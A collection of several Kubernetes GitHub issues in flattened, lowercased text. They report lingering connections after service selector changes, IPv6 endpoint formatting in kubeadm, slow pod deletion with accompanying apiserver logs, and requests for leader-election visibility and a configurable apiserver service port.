<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. : no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : connection close service change pod \r \r   is this a bug report or feature request?    choose one : feature request\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.0\ , gitcommit:\ fff5156092b56e6bd60fff75aad4dc9de6b6ef37\ , gittreestate:\ clean\ , builddate:\ 2017-03-28t16:36:33z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ windows/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.0\ , gitcommit:\ fff5156092b56e6bd60fff75aad4dc9de6b6ef37\ , gittreestate:\ clean\ , builddate:\ 2017-05-09t23:22:45z\ , goversion:\ go1.7.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : minikube  v0.19.0\r -   os    e.g. from /etc/os-release :\r    \r name=buildroot\r version=2016.08\r id=buildroot\r version_id=2016.08\r pretty_name=\ buildroot 2016.08\ \r    \r -   kernel    e.g.  uname -a  :  linux minikube 4.7.2  1 smp fri apr 7 10:38:40 pdt 2017 x86_64 gnu/linux \r \r   what happened  :\r a pod  pod a  is proxying http connections to a second pod  pod b  via a service.  modifying the selector on the service points it at a new pod  pod c  to allow for blue/green deployments.  the software in pod a maintains a tcp connection to pod b despite the fact that the service has changed and any new connections will be established to pod c.  the existing connections will not be closed until the idle timeout expires  which with decent traffic may be some time even if it is set to a small value .\r \r   what you expected to happen  :\r when the service selector is changed, it should not be possible for data to be sent to the previously selected pod s  via any open tcp connections. all data should go to the new pod s  as soon as the service is updated.\r \r   how to reproduce it    as minimally and precisely as possible :\r apply  this yaml  https://gist.github.com/glennslaven/dd04678116180a833b516238b5616549  which will create 2 nginx pods and a pod that opens a telnet connection to pod origin1 via the service  upstream .  every second it will issue a http get.  \r \r then edit the  upstream  service selector to  origin2 .  if you check the logs on the  origin1  pod you will see that the requests continue to go there rather than to  origin2 .\r \r   anything else we need to know  :\r a similar issue has been raised in  38456  point 3 under \ problems with kube-proxy\  regarding connection draining \r

kubeadm uses ip:port to create a master endpoint url. this works fine when using an ipv4 address but not for ipv6. according to  rfc 3386  https://www.ietf.org/rfc/rfc3986.txt , an ipv6 address should be encased in brackets when being joined by a port using a colon.\r \r /area kubeadm\r /area ipv6\r \r \r

the pattern of all function names in the shell file cluster/common.sh is wrong\r \r - when run any function , something wrong while be thrown like this\r    \r ./../../cluster/centos/config-default.sh: line 37:  length-of': not a valid identifier\r    \r - these shell files has this problem:\r    \r cluster/common.sh\r cluster/centos/config-default.sh\r cluster/centos/util.sh\r    \r \r      no one come to fix this?  so obvious problems?\r @kubernetes/sig-cluster-ops-test-failures

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r \r   what happened  :\r \r if we access a service which has no endpoints   say underlying pods are not ready or replicas are 0  from within a pod, it times out. if the same service is accessed directly from a node, it terminates immediately with a connection refused message as expected.\r \r @thockin  in mailing list  said: for traffic from within a pod, it traverses neither filter's input nor output chains, only forward.\r https://groups.google.com/forum/ !msg/kubernetes-dev/qa2rwgp_dvo/wsmdb-shbgaj\r \r   what you expected to happen  :\r \r expected the connection to terminate immediately from within the pod as well so we can retry quickly.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r - create a deployment  www  with replicas 0\r - create a service  www  with that deployment\r - curl {www-service-ip}  from a pod inside the cluster  - times out\r - ssh into a node\r - curl {www-service-ip} - terminates immediately\r \r   anything else we need to know?  :\r \r an e2e test should include checks for this behaviour.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.9.2 and prior\r - cloud provider or hardware configuration: gke\r - os  e.g. from /etc/os-release : ubuntu\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

\r   is this a bug report or feature request?  :\r \r   \r   what happened  :\r \r try delete a pod, it took 42 second\r \r    \r  root@dfkjyph ~   time kubectl delete pod busybox-7b984f9598-v72ld\r pod \ busybox-7b984f9598-v72ld\  deleted\r \r real\t0m42.737s\r user\t0m0.315s\r sys\t0m0.096s\r  root@dfkjyph ~   \r    \r \r   what you expected to happen  :\r \r delete as fast as about in 3 seconds maximum   expect 1 second  \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r don't know how, in my environment, it can reproduce by delete again\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11   see below  \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : centos linux release 7.3.1611  core \r - kernel  e.g.  uname -a  : linux dfkjyph 3.10.0-514.el7.x86_64  1 smp tue nov 22 16:42:41 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools: kube-router\r - others: \r \r some logs:\r \r apiserver\r    \r i1016 07:28:49.580912       1 handler.go:153  kube-aggregator: delete \ /api/v1/namespaces/default/pods/busybox-7b984f9598-v72ld\  satisfied by nongorestful\r i1016 07:28:49.580951       1 pathrecorder.go:247  kube-aggregator: \ /api/v1/namespaces/default/pods/busybox-7b984f9598-v72ld\  satisfied by prefix /api/\r i1016 07:28:49.580972       1 handler.go:143  kube-apiserver: delete \ /api/v1/namespaces/default/pods/busybox-7b984f9598-v72ld\  satisfied by gorestful with webservice /api/v1\r i1016 07:28:49.584972       1 wrap.go:42  delete /api/v1/namespaces/default/pods/busybox-7b984f9598-v72ld:  4.707598ms  200   kubectl/v1.11.3  linux/amd64  kubernetes/a452946  172.28.46.2:40680 \r i1016 07:28:49.585254       1 graph_populator.go:146  updatepod default/busybox-7b984f9598-v72ld, node unchanged\r i1016 07:28:49.587117       1 handler.go:153  kube-aggregator: get \ /api/v1/namespaces/default/pods/busybox-7b984f9598-v72ld\  satisfied by nongorestful\r i1016 07:28:49.587147       1 pathrecorder.go:247  kube-aggregator: \ /api/v1/namespaces/default/pods/busybox-7b984f9598-v72ld\  satisfied by prefix /api/\r i1016 07:28:49.587166       1 handler.go:143  kube-apiserver: get \ /api/v1/namespaces/default/pods/busybox-7b984f9598-v72ld\  satisfied by gorestful with webservice /api/v1\r i1016 07:28:49.588685       1 wrap.go:42  get /api/v1/namespaces/default/pods/busybox-7b984f9598-v72ld:  2.099068ms  200   kubectl/v1.11.3  linux/amd64  kubernetes/a452946  172.28.46.2:40680 \r i1016 07:28:49.590648       1 get.go:245  starting watch for /api/v1/namespaces/default/pods, rv=22437335 labels= fields=metadata.name=busybox-7b984f9598-v72ld timeout=44m3.81890919s\r i1016 07:28:49.590900       1 handler.go:153  kube-aggregator: get \ /api/v1/namespaces/default/pods/busybox-7b984f9598-v72ld\  satisfied by nongorestful\r i1016 07:28:49.590934       1 pathrecorder.go:247  kube-aggregator: \ /api/v1/namespaces/default/pods/busybox-7b984f9598-v72ld\  satisfied by prefix /api/\r i1016 07:28:49.590951       1 handler.go:143  kube-apiserver: get \ /api/v1/namespaces/default/pods/busybox-7b984f9598-v72ld\  satisfied by gorestful with webservice /api/v1\r i1016 07:28:49.592499       1 wrap.go:42  get /api/v1/namespaces/default/pods/busybox-7b984f9598-v72ld:  2.170441ms  200   kubelet/v1.11.3  linux/amd64  kubernetes/a452946  172.28.46.4:42322 \r i1016 07:28:49.594640       1 handler.go:153  kube-aggregator: patch \ /api/v1/namespaces/default/pods/busybox-7b984f9598-v72ld/status\  satisfied by nongorestful\r i1016 07:28:49.594680       1 pathrecorder.go:247  kube-aggregator: \ /api/v1/namespaces/default/pods/busybox-7b984f9598-v72ld/status\  satisfied by prefix /api/\r i1016 07:28:49.594701       1 handler.go:143  kube-apiserver: patch \ /api/v1/namespaces/default/pods/busybox-7b984f9598-v72ld/status\  satisfied by gorestful with webservice /api/v1\r i1016 07:28:49.597705       1 wrap.go:42  patch /api/v1/namespaces/default/pods/busybox-7b984f9598-v72ld/status:  3.849254ms  200   kubelet/v1.11.3  linux/amd64  kubernetes/a452946  172.28.46.4:42322 \r i1016 07:28:49.599353       1 graph_populator.go:140  updatepod default/busybox-7b984f9598-dp95v, no node\r i1016 07:28:49.600586       1 handler.go:153  kube-aggregator: put \ /apis/apps/v1/namespaces/default/replicasets/busybox-7b984f9598/status\  satisfied by nongorestful\r i1016 07:28:49.600624       1 pathrecorder.go:247  kube-aggregator: \ /apis/apps/v1/namespaces/default/replicasets/busybox-7b984f9598/status\  satisfied by prefix /apis/apps/v1/\r i1016 07:28:49.600643       1 handler.go:143  kube-apiserver: put \ /apis/apps/v1/namespaces/default/replicasets/busybox-7b984f9598/status\  satisfied by gorestful with webservice /apis/apps/v1\r i1016 07:28:49.601146       1 handler.go:153  kube-aggregator: post \ /api/v1/namespaces/default/pods/busybox-7b984f9598-dp95v/binding\  satisfied by nongorestful\r i1016 07:28:49.601172       1 pathrecorder.go:247  kube-aggregator: \ /api/v1/namespaces/default/pods/busybox-7b984f9598-dp95v/binding\  satisfied by prefix /api/\r i1016 07:28:49.601188       1 handler.go:143  kube-apiserver: post \ /api/v1/namespaces/default/pods/busybox-7b984f9598-dp95v/binding\  satisfied by gorestful with webservice /api/v1\r i1016 07:28:49.603493       1 wrap.go:42  post /api/v1/namespaces/default/pods/busybox-7b984f9598-dp95v/binding:  2.906926ms  201   kube-scheduler/v1.11.3  linux/amd64  kubernetes/a452946/scheduler  172.28.46.2:39328 \r i1016 07:28:49.603698       1 wrap.go:42  put /apis/apps/v1/namespaces/default/replicasets/busybox-7b984f9598/status:  3.24996ms  200   kube-controller-manager/v1.11.3  linux/amd64  kubernetes/a452946/system:serviceaccount:kube-system:replicaset-controller  172.28.46.2:39516 \r i1016 07:28:49.604082       1 graph_populator.go:150  updatepod default/busybox-7b984f9598-dp95v for node dfkjyph02\r i1016 07:28:49.605271       1 handler.go:153  kube-aggregator: put \ /apis/apps/v1/namespaces/default/replicasets/busybox-7b984f9598/status\  satisfied by nongorestful\r i1016 07:28:49.605302       1 pathrecorder.go:247  kube-aggregator: \ /apis/apps/v1/namespaces/default/replicasets/busybox-7b984f9598/status\  satisfied by prefix /apis/apps/v1/\r i1016 07:28:49.605322       1 handler.go:143  kube-apiserver: put \ /apis/apps/v1/namespaces/default/replicasets/busybox-7b984f9598/status\  satisfied by gorestful with webservice /apis/apps/v1\r i1016 07:28:49.607467       1 wrap.go:42  put /apis/apps/v1/namespaces/default/replicasets/busybox-7b984f9598/status:  2.373235ms  200   kube-controller-manager/v1.11.3  linux/amd64  kubernetes/a452946/system:serviceaccount:kube-system:replicaset-controller  172.28.46.2:39516 \r i1016 07:28:49.610125       1 handler.go:153  kube-aggregator: get \ /api/v1/namespaces/default/pods/busybox-7b984f9598-dp95v\  satisfied by nongorestful\r i1016 07:28:49.610152       1 pathrecorder.go:247  kube-aggregator: \ /api/v1/namespaces/default/pods/busybox-7b984f9598-dp95v\  satisfied by prefix /api/\r i1016 07:28:49.610169       1 handler.go:143  kube-apiserver: get \ /api/v1/namespaces/default/pods/busybox-7b984f9598-dp95v\  satisfied by gorestful with webservice /api/v1\r i1016 07:28:49.610266       1 handler.go:153  kube-aggregator: put \ /apis/apps/v1/namespaces/default/deployments/busybox/status\  satisfied by nongorestful\r i1016 07:28:49.610291       1 pathrecorder.go:247  kube-aggregator: \ /apis/apps/v1/namespaces/default/deployments/busybox/status\  satisfied by prefix /apis/apps/v1/\r i1016 07:28:49.610314       1 handler.go:143  kube-apiserver: put \ /apis/apps/v1/namespaces/default/deployments/busybox/status\  satisfied by gorestful with webservice /apis/apps/v1\r i1016 07:28:49.611472       1 wrap.go:42  get /api/v1/namespaces/default/pods/busybox-7b984f9598-dp95v:  1.866548ms  200   kubelet/v1.11.3  linux/amd64  kubernetes/a452946  172.28.46.4:42322 \r i1016 07:28:49.612538       1 wrap.go:42  put /apis/apps/v1/namespaces/default/deployments/busybox/status:  7.565661ms  200   kube-controller-manager/v1.11.3  linux/amd64  kubernetes/a452946/system:serviceaccount:kube-system:deployment-controller  172.28.46.2:39516 \r i1016 07:28:49.613493       1 handler.go:153  kube-aggregator: patch \ /api/v1/namespaces/default/pods/busybox-7b984f9598-dp95v/status\  satisfied by nongorestful\r i1016 07:28:49.613534       1 pathrecorder.go:247  kube-aggregator: \ /api/v1/namespaces/default/pods/busybox-7b984f9598-dp95v/status\  satisfied by prefix /api/\r i1016 07:28:49.613561       1 handler.go:143  kube-apiserver: patch \ /api/v1/namespaces/default/pods/busybox-7b984f9598-dp95v/status\  satisfied by gorestful with webservice /api/v1\r i1016 07:28:49.613898       1 handler.go:153  kube-aggregator: put \ /apis/apps/v1/namespaces/default/deployments/busybox/status\  satisfied by nongorestful\r i1016 07:28:49.613922       1 pathrecorder.go:247  kube-aggregator: \ /apis/apps/v1/namespaces/default/deployments/busybox/status\  satisfied by prefix /apis/apps/v1/\r i1016 07:28:49.613939       1 handler.go:143  kube-apiserver: put \ /apis/apps/v1/namespaces/default/deployments/busybox/status\  satisfied by gorestful with webservice /apis/apps/v1\r i1016 07:28:49.616322       1 wrap.go:42  put /apis/apps/v1/namespaces/default/deployments/busybox/status:  2.528468ms  200   kube-controller-manager/v1.11.3  linux/amd64  kubernetes/a452946/system:serviceaccount:kube-system:deployment-controller  172.28.46.2:39516 \r i1016 07:28:49.616457       1 wrap.go:42  patch /api/v1/namespaces/default/pods/busybox-7b984f9598-dp95v/status:  3.719814ms  200   kubelet/v1.11.3  linux/amd64  kubernetes/a452946  172.28.46.4:42322 \r i1016 07:28:49.616818       1 graph_populator.go:146  updatepod default/busybox-7b984f9598-dp95v, node unchanged\r i1016 07:28:52.326401       1 handler.go:153  kube-aggregator: get \ /api/v1/namespaces/default/pods/busybox-7b984f9598-dp95v\  satisfied by nongorestful\r i1016 07:28:52.326432       1 pathrecorder.go:247  kube-aggregator: \ /api/v1/namespaces/default/pods/busybox-7b984f9598-dp95v\  satisfied by prefix /api/\r i1016 07:28:52.326448       1 handler.go:143  kube-apiserver: get \ /api/v1/namespaces/default/pods/busybox-7b984f9598-dp95v\  satisfied by gorestful with webservice /api/v1\r i1016 07:28:52.328123       1 wrap.go:42  get /api/v1/namespaces/default/pods/busybox-7b984f9598-dp95v:  2.279867ms  200   kubelet/v1.11.3  linux/amd64  kubernetes/a452946  172.28.46.4:42322 \r i1016 07:28:52.330149       1 handler.go:153  kube-aggregator: patch \ /api/v1/namespaces/default/pods/busybox-7b984f9598-dp95v/status\  satisfied by nongorestful\r i1016 07:28:52.330181       1 pathrecorder.go:247  kube-aggregator: \ /api/v1/namespaces/default/pods/busybox-7b984f9598-dp95v/status\  satisfied by prefix /api/\r i1016 07:28:52.330198       1 handler.go:143  kube-apiserver: patch \ /api/v1/namespaces/default/pods/busybox-7b984f9598-dp95v/status\  satisfied by gorestful with webservice /api/v1\r i1016 07:28:52.333420       1 wrap.go:42  patch /api/v1/namespaces/default/pods/busybox-7b984f9598-dp95v/status:  3.828778ms  200   kubelet/v1.11.3  linux/amd64  kubernetes/a452946  172.28.46.4:42322 \r i1016 07:28:52.333778       1 graph_populator.go:146  updatepod default/busybox-7b984f9598-dp95v, node unchanged\r i1016 07:28:52.335061       1 handler.go:153  kube-aggregator: put \ /apis/apps/v1/namespaces/default/replicasets/busybox-7b984f9598/status\  satisfied by nongorestful\r i1016 07:28:52.335089       1 pathrecorder.go:247  kube-aggregator: \ /apis/apps/v1/namespaces/default/replicasets/busybox-7b984f9598/status\  satisfied by prefix /apis/apps/v1/\r i1016 07:28:52.335109       1 handler.go:143  kube-apiserver: put \ /apis/apps/v1/namespaces/default/replicasets/busybox-7b984f9598/status\  satisfied by gorestful with webservice /apis/apps/v1\r i1016 07:28:52.337498       1 wrap.go:42  put /apis/apps/v1/namespaces/default/replicasets/busybox-7b984f9598/status:  2.597692ms  200   kube-controller-manager/v1.11.3  linux/amd64  kubernetes/a452946/system:serviceaccount:kube-system:replicaset-controller  172.28.46.2:39516 \r i1016 07:28:52.338809       1 handler.go:153  kube-aggregator: put \ /apis/apps/v1/namespaces/default/deployments/busybox/status\  satisfied by nongorestful\r i1016 07:28:52.338849       1 pathrecorder.go:247  kube-aggregator: \ /apis/apps/v1/namespaces/default/deployments/busybox/status\  satisfied by prefix /apis/apps/v1/\r i1016 07:28:52.338880       1 handler.go:143  kube-apiserver: put \ /apis/apps/v1/namespaces/default/deployments/busybox/status\  satisfied by gorestful with webservice /apis/apps/v1\r i1016 07:28:52.341274       1 wrap.go:42  put /apis/apps/v1/namespaces/default/deployments/busybox/status:  2.662934ms  200   kube-controller-manager/v1.11.3  linux/amd64  kubernetes/a452946/system:serviceaccount:kube-system:deployment-controller  172.28.46.2:39516 \r \r i1016 07:29:20.398813       1 handler.go:153  kube-aggregator: get \ /api/v1/namespaces/default/pods/busybox-7b984f9598-v72ld\  satisfied by nongorestful\r i1016 07:29:20.398842       1 pathrecorder.go:247  kube-aggregator: \ /api/v1/namespaces/default/pods/busybox-7b984f9598-v72ld\  satisfied by prefix /api/\r i1016 07:29:20.398858       1 handler.go:143  kube-apiserver: get \ /api/v1/namespaces/default/pods/busybox-7b984f9598-v72ld\  satisfied by gorestful with webservice /api/v1\r i1016 07:29:20.400391       1 wrap.go:42  get /api/v1/namespaces/default/pods/busybox-7b984f9598-v72ld:  2.127225ms  200   kubelet/v1.11.3  linux/amd64  kubernetes/a452946  172.28.46.4:42322 \r i1016 07:29:20.402424       1 handler.go:153  kube-aggregator: patch \ /api/v1/namespaces/default/pods/busybox-7b984f9598-v72ld/status\  satisfied by nongorestful\r i1016 07:29:20.402453       1 pathrecorder.go:247  kube-aggregator: \ /api/v1/namespaces/default/pods/busybox-7b984f9598-v72ld/status\  satisfied by prefix /api/\r i1016 07:29:20.402474       1 handler.go:143  kube-apiserver: patch \ /api/v1/namespaces/default/pods/busybox-7b984f9598-v72ld/status\  satisfied by gorestful with webservice /api/v1\r i1016 07:29:20.405754       1 wrap.go:42  patch /api/v1/namespaces/default/pods/busybox-7b984f9598-v72ld/status:  3.872233ms  200   kubelet/v1.11.3  linux/amd64  kubernetes/a452946  172.28.46.4:42322 \r i1016 07:29:20.406279       1 graph_populator.go:146  updatepod default/busybox-7b984f9598-v72ld, node unchanged\r i1016 07:29:21.443985       1 handler.go:153  kube-aggregator: get \ /api/v1/namespaces/default/pods/busybox-7b984f9598-v72ld\  satisfied by nongorestful\r i1016 07:29:21.444013       1 pathrecorder.go:247  kube-aggregator: \ /api/v1/namespaces/default/pods/busybox-7b984f9598-v72ld\  satisfied by prefix /api/\r i1016 07:29:21.444029       1 handler.go:143  kube-apiserver: get \ /api/v1/namespaces/default/pods/busybox-7b984f9598-v72ld\  satisfied by gorestful with webservice /api/v1\r i1016 07:29:21.445569       1 wrap.go:42  get /api/v1/namespaces/default/pods/busybox-7b984f9598-v72ld:  2.107313ms  200   kubelet/v1.11.3  linux/amd64  kubernetes/a452946  172.28.46.4:42322 \r i1016 07:29:21.447537       1 handler.go:153  kube-aggregator: patch \ /api/v1/namespaces/default/pods/busybox-7b984f9598-v72ld/status\  satisfied by nongorestful\r i1016 07:29:21.447567       1 pathrecorder.go:247  kube-aggregator: \ /api/v1/namespaces/default/pods/busybox-7b984f9598-v72ld/status\  satisfied by prefix /api/\r i1016 07:29:21.447583       1 handler.go:143  kube-apiserver: patch \ /api/v1/namespaces/default/pods/busybox-7b984f9598-v72ld/status\  satisfied by gorestful with webservice /api/v1\r i1016 07:29:21.450202       1 wrap.go:42  patch /api/v1/namespaces/default/pods/busybox-7b984f9598-v72ld/status:  3.247077ms  200   kubelet/v1.11.3  linux/amd64  kubernetes/a452946  172.28.46.4:42322 \r \r i1016 07:29:32.133760       1 handler.go:153  kube-aggregator: get \ /api/v1/namespaces/default/pods/busybox-7b984f9598-v72ld\  satisfied by nongorestful\r i1016 07:29:32.133789       1 pathrecorder.go:247  kube-aggregator: \ /api/v1/namespaces/default/pods/busybox-7b984f9598-v72ld\  satisfied by prefix /api/\r i1016 07:29:32.133805       1 handler.go:143  kube-apiserver: get \ /api/v1/namespaces/default/pods/busybox-7b984f9598-v72ld\  satisfied by gorestful with webservice /api/v1\r i1016 07:29:32.135495       1 wrap.go:42  get /api/v1/namespaces/default/pods/busybox-7b984f9598-v72ld:  2.321633ms  200   kubelet/v1.11.3  linux/amd64  kubernetes/a452946  172.28.46.4:42322 \r i1016 07:29:32.137646       1 handler.go:153  kube-aggregator: patch \ /api/v1/namespaces/default/pods/busybox-7b984f9598-v72ld/status\  satisfied by nongorestful\r i1016 07:29:32.137681       1 pathrecorder.go:247  kube-aggregator: \ /api/v1/namespaces/default/pods/busybox-7b984f9598-v72ld/status\  satisfied by prefix /api/\r i1016 07:29:32.137706       1 handler.go:143  kube-apiserver: patch \ /api/v1/namespaces/default/pods/busybox-7b984f9598-v72ld/status\  satisfied by gorestful with webservice /api/v1\r i1016 07:29:32.140391       1 wrap.go:42  patch /api/v1/namespaces/default/pods/busybox-7b984f9598-v72ld/status:  3.316504ms  200   kubelet/v1.11.3  linux/amd64  kubernetes/a452946  172.28.46.4:42322 \r i1016 07:29:32.141964       1 handler.go:153  kube-aggregator: delete \ /api/v1/namespaces/default/pods/busybox-7b984f9598-v72ld\  satisfied by nongorestful\r i1016 07:29:32.141994       1 pathrecorder.go:247  kube-aggregator: \ /api/v1/namespaces/default/pods/busybox-7b984f9598-v72ld\  satisfied by prefix /api/\r i1016 07:29:32.142011       1 handler.go:143  kube-apiserver: delete \ /api/v1/namespaces/default/pods/busybox-7b984f9598-v72ld\  satisfied by gorestful with webservice /api/v1\r i1016 07:29:32.145903       1 graph_populator.go:146  updatepod default/busybox-7b984f9598-v72ld, node unchanged\r i1016 07:29:32.147833       1 wrap.go:42  delete /api/v1/namespaces/default/pods/busybox-7b984f9598-v72ld:  6.393961ms  200   kubelet/v1.11.3  linux/amd64  kubernetes/a452946  172.28.46.4:42322 \r i1016 07:29:32.148116       1 graph_populator.go:167  deletepod default/busybox-7b984f9598-v72ld for node dfkjyph02\r i1016 07:29:32.149485       1 wrap.go:42  get /api/v1/namespaces/default/pods?fieldselector=metadata.name%3dbusybox-7b984f9598-v72ld&resourceversion=22437335&watch=true:  42.559704554s  200   kubectl/v1.11.3  linux/amd64  kubernetes/a452946  172.28.46.2:40680 \r    \r \r controller\r    \r i1016 07:28:49.599783       1 event.go:221  event v1.objectreference{kind:\ replicaset\ , namespace:\ default\ , name:\ busybox-7b984f9598\ , uid:\ 56a3e7f7-94a7-11e8-98f1-f403434a5520\ , apiversion:\ apps/v1\ , resourceversion:\ 22436993\ , fieldpath:\ \ } : type: 'normal' reason: 'successfulcreate' created pod: busybox-7b984f9598-dp95v\r    \r \r cli logs:\r \r    \r  root@dfkjyph ~   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.3\ , gitcommit:\ a4529464e4629c21224b3d52edfe0ea91b072862\ , gittreestate:\ clean\ , builddate:\ 2018-09-09t18:02:47z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.3\ , gitcommit:\ a4529464e4629c21224b3d52edfe0ea91b072862\ , gittreestate:\ clean\ , builddate:\ 2018-09-09t17:53:03z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r  root@dfkjyph ~   kubectl get pods  -o wide\r name                              ready     status    restarts   age       ip               node             nominated node\r busybox-7b984f9598-jgs89          1/1       running   0          8m        172.28.234.168   dfkjyph01        <none>\r busybox-7b984f9598-v2tgx          1/1       running   0          2m        172.28.235.19    dfkjyph-46-122   <none>\r busybox-7b984f9598-v72ld          1/1       running   0          12m       172.28.233.40    dfkjyph02        <none>\r details-v1-7f4b9b7775-88lwr       2/2       running   42         100d      172.28.235.18    dfkjyph-46-122   <none>\r productpage-v1-586c4486b7-nfrwj   2/2       running   3          16d       172.28.233.26    dfkjyph02        <none>\r ratings-v1-7bc49f5779-lz4sw       2/2       running   42         100d      172.28.233.39    dfkjyph02        <none>\r reviews-v1-b44bd5769-6j2c8        2/2       running   3          16d       172.28.235.10    dfkjyph-46-122   <none>\r reviews-v2-6d87c8c5-h4d96         2/2       running   42         100d      172.28.233.38    dfkjyph02        <none>\r reviews-v3-79fb5c99d5-sqkfs       2/2       running   42         100d      172.28.235.15    dfkjyph-46-122   <none>\r  root@dfkjyph ~  \r  root@dfkjyph ~   time kubectl delete pod busybox-7b984f9598-v72ld\r pod \ busybox-7b984f9598-v72ld\  deleted\r \r real\t0m42.737s\r user\t0m0.315s\r sys\t0m0.096s\r  root@dfkjyph ~   \r    \r \r busybox-deploy.yaml\r    \r  root@dfkjyph manifests   kubectl get deploy busybox -o yaml\r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   annotations:\r     deployment.kubernetes.io/revision: \ 1\ \r   creationtimestamp: 2018-07-31t09:51:46z\r   generation: 1\r   labels:\r     app: test-busybox\r   name: busybox\r   namespace: default\r   resourceversion: \ 22437356\ \r   selflink: /apis/extensions/v1beta1/namespaces/default/deployments/busybox\r   uid: 56a213e9-94a7-11e8-98f1-f403434a5520\r spec:\r   progressdeadlineseconds: 600\r   replicas: 3\r   revisionhistorylimit: 2\r   selector:\r     matchlabels:\r       app: test-busybox\r   strategy:\r     rollingupdate:\r       maxsurge: 25%\r       maxunavailable: 25%\r     type: rollingupdate\r   template:\r     metadata:\r       creationtimestamp: null\r       labels:\r         app: test-busybox\r     spec:\r       containers:\r       - command:\r         - /bin/sh\r         - -c\r         - ls /etc/config/; sleep 36000\r         image: busybox\r         imagepullpolicy: always\r         name: test-container\r         resources: {}\r         terminationmessagepath: /dev/termination-log\r         terminationmessagepolicy: file\r       dnspolicy: clusterfirst\r       restartpolicy: always\r       schedulername: default-scheduler\r       securitycontext: {}\r       terminationgraceperiodseconds: 30\r status:\r   availablereplicas: 3\r   conditions:\r   - lasttransitiontime: 2018-07-31t09:51:46z\r     lastupdatetime: 2018-07-31t09:51:51z\r     message: replicaset \ busybox-7b984f9598\  has successfully progressed.\r     reason: newreplicasetavailable\r     status: \ true\ \r     type: progressing\r   - lasttransitiontime: 2018-10-16t07:28:52z\r     lastupdatetime: 2018-10-16t07:28:52z\r     message: deployment has minimum availability.\r     reason: minimumreplicasavailable\r     status: \ true\ \r     type: available\r   observedgeneration: 1\r   readyreplicas: 3\r   replicas: 3\r   updatedreplicas: 3\r    \r \r tried delete other pod too, it is slows too\r \r    \r  root@dfkjyph ~   time  kubectl delete pod reviews-v1-b44bd5769-6j2c8\r pod \ reviews-v1-b44bd5769-6j2c8\  deleted\r \r real\t0m40.479s\r user\t0m0.302s\r sys\t0m0.096s\r  root@dfkjyph ~   \r    \r \r it has this logs print before  a hour ago  , now it doesn't print any such log   after i reboot a master and three nodes  \r \r https://github.com/kubernetes/kubernetes/issues/33653\r \r    \r w0929 07:47:06.590981       1 watcher.go:235  fast watcher, slow processing. number of buffered events: 100.probably caused by slow dispatching events to watchers\r w0929 07:47:06.591235       1 watcher.go:235  fast watcher, slow processing. number of buffered events: 100.probably caused by slow dispatching events to watchers\r i0929 07:58:30.745591       1 trace.go:76  trace 1816477162 : \ get /api/v1/namespaces/kube-system/pods/kube-scheduler-dfkjyph/log\   started: 2018-09-29 07:29:41.554269272 +0000 utc m=+4977.298009944   total time: 28m49.191261248s :\r trace 1816477162 :  28m49.191261248s   28m49.188680684s  end\r e1016 06:49:33.020533       1 watch.go:233  unable to encode watch object: write tcp 172.28.46.2:6443->172.28.46.3:36520: write: connection reset by peer  &streaming.encoder{writer:  metrics.fancyresponsewriterdelegator  0xc42c62c5a0 , encoder:  versioning.codec  0xc43bf1a600 , buf:  bytes.buffer  0xc4390022a0 } \r e1016 06:49:33.020542       1 watch.go:233  unable to encode watch object: http2: stream closed  &streaming.encoder{writer:  metrics.fancyresponsewriterdelegator  0xc420ce6600 , encoder:  versioning.codec  0xc426e16600 , buf:  bytes.buffer  0xc42769d880 } \r

what would you like to be added  :\r it would be nice to be able to know for a given leader election who the master was.\r it would also be nice to understand things like how often/when leadership changed.\r \r   why is this needed  :\r we have had problems such as the kcm reporting healthy when it had failed to renew the lease.\r it would allow us to alert on things like 2 systems simultaneously believing they are the master.\r \r <!-- do not edit below this line -->\r 

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r \r in https://github.com/kubernetes/kubernetes/blob/master/cmd/kube-apiserver/app/server.go the value for  apiserverserviceport  is hardcoded to 443, there is no way to configure this port.\r \r an option to configure this port would be great.\r \r   why is this needed  :\r \r when running a single node kubernetes server  all-in-one  and binding an ingress controller to the  hostport  443  which makes this port available on all ips , it breaks internal connectivity to the api server from pods. changing the  kubernetes  service in the  default  namespace would solve this issue, but this service object is rewritten on every api server start. having an option to configure this port would help with this use-case.\r \r <!-- do not edit below this line -->\r 

